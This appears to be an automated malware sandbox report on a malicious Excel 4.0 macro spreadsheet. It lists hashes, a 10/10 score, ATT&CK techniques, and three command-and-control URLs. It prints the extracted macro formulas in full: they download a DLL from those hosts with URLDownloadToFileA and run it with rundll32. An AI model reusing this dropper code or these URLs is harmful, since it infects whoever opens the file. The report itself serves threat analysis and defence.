Overview

overview

10

Static

static

10

?i=1tiaxamdd.xlsm

windows7_x64

10

?i=1tiaxamdd.xlsm

windows10-2004_x64

10

Sharing

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General

  • Target

    ?i=1tiaxamdd

  • Size

    83KB

  • Sample

    220422-ad4cjahdh5

  • MD5

    0c6adea1eff64b8f701e18a8c9e5284d

  • SHA1

    958197aca69eabbf0d6717e880ac3bb7d49a4d7a

  • SHA256

    ddfaf178cd5ea6decc275fa0a3d27bade27c40b7cd0ac8a086a615e296ce0377

  • SHA512

    7a01ec8855b51239dc59497bbc4e5b0da0f1d796963a6981842660fe734e05a48689ce3df35f9372068526b2217327eb5123d9a61631abec0b3a7db65c47fa02

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://robotically.xyz/wp-content/XtKkx/

http://2.arthaloca.com/styles/dS5RNprosfCabLtYEwO/

https://notesculture.com/wp-includes/LuQtO3MiyJFFcF/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://robotically.xyz/wp-content/XtKkx/","..\wxeu.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://2.arthaloca.com/styles/dS5RNprosfCabLtYEwO/","..\wxeu.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://notesculture.com/wp-includes/LuQtO3MiyJFFcF/","..\wxeu.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\wxeu.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://robotically.xyz/wp-content/XtKkx/
xlm40.dropper

http://2.arthaloca.com/styles/dS5RNprosfCabLtYEwO/
xlm40.dropper

https://notesculture.com/wp-includes/LuQtO3MiyJFFcF/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://robotically.xyz/wp-content/XtKkx/

Targets

    • Target

      ?i=1tiaxamdd

    • Size

      83KB

    • MD5

      0c6adea1eff64b8f701e18a8c9e5284d

    • SHA1

      958197aca69eabbf0d6717e880ac3bb7d49a4d7a

    • SHA256

      ddfaf178cd5ea6decc275fa0a3d27bade27c40b7cd0ac8a086a615e296ce0377

    • SHA512

      7a01ec8855b51239dc59497bbc4e5b0da0f1d796963a6981842660fe734e05a48689ce3df35f9372068526b2217327eb5123d9a61631abec0b3a7db65c47fa02

    Score
    10/10
    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks